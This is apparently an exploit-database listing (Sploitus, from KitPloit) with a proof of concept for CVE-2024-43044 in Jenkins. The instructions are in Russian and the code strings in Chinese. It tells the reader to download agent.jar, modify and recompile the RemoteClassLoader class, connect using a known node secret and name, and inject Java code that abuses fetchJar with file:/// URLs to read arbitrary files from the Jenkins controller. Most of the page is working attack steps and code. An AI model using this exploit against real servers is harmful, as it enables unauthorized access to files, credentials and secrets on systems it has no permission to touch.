Sploitus

Exploit for CVE-2024-43044-POC

kitploit · 2026-09-04

Exploit Code

MARKDOWN38 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-V9D0G-CVE-2024-43044-POC
# Использование

Скачайте jar-пакет по адресу `http://ip:port/jnlpJars/agent.jar`

Измените соответствующий код в `\hudson\remoting\RemoteClassLoader.class`

![](https://assets.kitploit.com/production/public/readmes/33919/d0d3ab1f4c5f6a7e7606ab5bdbbefd170c8e256b33b37743045e0438aa9d2929.png)

Перекомпилируйте и упакуйте заново

Необходимо заранее узнать секрет и имя node ![](https://assets.kitploit.com/production/public/readmes/33919/5a26e20e40260ed3ccb59d17616099189eae7021d0e85e99f5323c1a30742827.png)

root@kitploit:~
    
    
    java -jar agent.jar -url http://ip:port/ -secret <xxx> -name <xxx>
    

Добавьте следующее содержимое:

root@kitploit:~
    
    
    import java.util.Scanner;
    
    try {  
        Scanner scanner = new Scanner(System.in);  
        System.out.print("输入读取文件path:");  
        String inputText = scanner.nextLine();  
        System.out.println("尝试读取:" + inputText);  
        URL jarFileUrl = new URL("file:///" + inputText);  
        byte[] fileContent = this.proxy.fetchJar(jarFileUrl);  
        String contentAsString = new String(fileContent, StandardCharsets.UTF_8);  
        System.out.println("文件内容:\n" + contentAsString);  
    } catch (Exception var10) {  
        System.out.println("WRONG:" + var10);  
    }